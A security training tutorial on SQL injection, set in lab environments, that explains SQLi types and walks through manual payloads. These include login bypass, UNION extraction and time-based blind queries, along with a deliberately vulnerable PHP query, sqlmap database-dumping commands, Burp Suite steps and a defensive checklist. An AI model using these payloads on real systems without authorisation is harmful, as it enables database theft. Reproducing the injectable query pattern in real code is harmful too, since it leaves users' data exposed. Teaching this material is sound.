# Day 16 — SQL Injection (SQLi) Attacks

⚠️ Ethical use only. This material is for training purposes in a legal lab setup such as DVWA, bWAPP, Mutillidae, or WebGoat. Do not attempt against any system without explicit written permission. Real-world exploitation is illegal.

## 1) What is SQL?

SQL (Structured Query Language) is the standard language used to communicate with and manage data in relational databases such as MySQL, PostgreSQL, SQL Server, Oracle, and SQLite. It allows you to store, retrieve, modify, and delete data.

\*\*Basic SQL Commands:\*\*  
SELECT - Retrieve data from tables  
INSERT - Add new data  
UPDATE - Modify existing data  
DELETE - Remove data  
ORDER BY - Sort results  
WHERE - Filter results  
JOIN - Combine data from multiple tables

## 2) What is SQL Injection?

SQL Injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It usually occurs when user input is embedded directly into SQL statements without proper sanitization or parameterization.

## 3) What Can a Successful SQL Injection Do?

- Extract sensitive data (usernames, passwords, personal information)  
- Bypass authentication  
- Modify or delete data  
- Execute administrative operations on the database  
- Read or write files from the server  
- In some cases, execute operating system commands

## 4) Types of SQL Injection

\*\*In-band SQLi\*\* — Uses the same communication channel to launch attacks and gather results.  
- Error-based SQLi: Relies on database error messages  
- UNION-based SQLi: Uses UNION SELECT to retrieve additional data  
  
\*\*Blind SQLi\*\* — Results are not directly visible, inference is needed.  
- Boolean-based: True/False conditions change the response  
- Time-based: Database delays indicate conditions  
  
\*\*Out-of-band SQLi\*\* — Uses alternative channels like DNS or HTTP for data retrieval.

## 5) Practical — Manual SQLi Testing Workflow

\*\*Step 1: Identify Entry Points\*\*  
Look for GET or POST parameters, cookies, or headers that might be included in SQL queries.  
  
\*\*Step 2: Single Quote Test\*\*  
Insert a single quote `'` into the parameter and observe if the application throws an SQL error.  
  
\*\*Step 3: Boolean Logic Testing\*\*  
Example:  
' AND 1=1 --+ (should return normal page)  
' AND 1=2 --+ (should return different or empty page)  
  
\*\*Step 4: Determine Column Count\*\*  
Use ORDER BY incrementally:  
ORDER BY 1  
ORDER BY 2  
... until error occurs.  
  
\*\*Step 5: UNION SELECT Data Extraction\*\*  
UNION SELECT NULL, NULL, 'test', NULL ... — until 'test' is visible on page.  
  
\*\*Step 6: Enumerate Database Information\*\*  
MySQL example:  
UNION SELECT NULL, version(), user(), database()

## 6) Practical — Login Bypass

\*\*Vulnerable PHP code:\*\*  
$user = $\_POST['user'];  
$pass = $\_POST['pass'];  
$sql = "SELECT id FROM users WHERE username='$user' AND password='$pass'";  
  
\*\*Payload:\*\*  
Username: ' OR '1'='1' -- -  
Password: (leave blank)  
  
This works because the WHERE condition becomes always true.

## 7) Practical — Blind SQL Injection

\*\*Boolean-based Example:\*\*  
' AND (SELECT 1) = 1 --+ → True  
' AND (SELECT 1) = 2 --+ → False  
  
\*\*Time-based Example (MySQL):\*\*  
' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) --+

## 8) Practical — UNION-based SQL Injection

\*\*When useful:\*\* Page renders database query results directly.  
\*\*Steps:\*\*  
1. Find column count using ORDER BY  
2. Identify visible column  
3. Inject UNION SELECT with desired data  
  
Example:  
UNION SELECT NULL, username, password FROM users

## 9) Practical — Using sqlmap

\*\*Installation on Kali:\*\*  
sudo apt update && sudo apt install sqlmap  
  
\*\*Basic Usage:\*\*  
sqlmap -u "http://target.com/page.php?id=1" --dbs  
sqlmap -u "http://target.com/page.php?id=1" -D database\_name --tables  
sqlmap -u "http://target.com/page.php?id=1" -D database\_name -T table\_name --dump  
  
\*\*With Cookies:\*\*  
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abcd1234" --dbs  
  
\*\*From Request File:\*\*  
sqlmap -r request.txt --dbs

## 10) Practical — Using Burp Suite for SQLi

\*\*Installation on Kali:\*\*  
sudo apt update && sudo apt install burpsuite  
  
\*\*Steps:\*\*  
1. Configure browser proxy to 127.0.0.1:8080  
2. Capture request with Intercept on  
3. Send request to Repeater  
4. Modify parameters with test payloads (' OR '1'='1 --+)  
5. Compare responses  
6. Export request and use with sqlmap (-r)

## 11) Defensive Checklist

- Use prepared statements (parameterized queries)  
- Avoid dynamic SQL concatenation  
- Implement input validation and allow-lists  
- Hash and salt passwords  
- Use least-privilege database accounts  
- Hide detailed error messages from users  
- Implement security testing in development lifecycle